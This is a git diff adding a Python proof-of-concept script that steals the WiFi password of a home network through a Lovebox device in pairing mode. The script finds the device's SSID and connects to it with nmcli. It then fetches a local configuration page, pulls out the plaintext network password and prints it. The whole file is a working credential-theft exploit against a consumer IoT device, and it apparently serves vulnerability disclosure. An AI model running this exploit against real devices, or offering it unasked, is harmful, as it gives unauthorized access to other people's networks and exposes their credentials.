diff --git a/loveboxer.py b/loveboxer.py new file mode 100644 index 0000000..b44ef47 --- /dev/null +++ b/loveboxer.py @@ -0,0 +1,58 @@ +#! /bin/python3 +# Proof of concept code for stealing the WiFi password of a network with a Lovebox connected +# The Lovebox must be in pairing mode +from wifi import Cell, Scheme +import subprocess +import requests +import re +from colorama import init, Fore, Style + +# Add pretty colors +reset = Style.RESET_ALL +goodtick = Fore.BLUE + "[" + Fore.GREEN + "+" + Fore.BLUE + "] " + reset +badtick = Fore.BLUE + "[" + Fore.RED + "!" + Fore.BLUE + "] " + reset + +# Get the router URL +url = "http://192.168.4.1/wifi?lang=en&scan=1" +target = "" + +# List all the SSIDS and assign to schemes +ssids = [cell.ssid for cell in Cell.all('wlp5s0')] +schemes = list(Scheme.all()) + +# Check for the Lovebox SSID +for i in ssids: + # If lovebox is found, set it as the target + if "Lovebox" in str(i): + print(goodtick + Fore.GREEN + "Lovebox device found broadcasting SSID")# + Fore.RED + str(i)) + target = str(i) + break +# If Lovebox is not found, exit +if "Lovebox" not in str(ssids): + print(badtick + Fore.RED + "Lovebox network not found...") + exit() + +# Connect to the lovebox network +print(goodtick + Fore.GREEN+"Connecting to Lovebox SSID") +subprocess.run(["nmcli", "dev", "wifi", "connect", target], stdout=subprocess.DEVNULL) + +print(goodtick +"Retrieving Password") +# Get URL with plaintext password +text = requests.get(url).text + +# Clean up string +password = text.partition("Your WiFi password") +sep = '\'><' +password = password[2] +stripped = password.split(sep,1)[0] +stripped = stripped.replace("\' value=\'","") + +# Display password +print(goodtick + Fore.GREEN+"The WiFi Password for the network it is connected to is: " + Fore.RED + stripped) + + + + + + +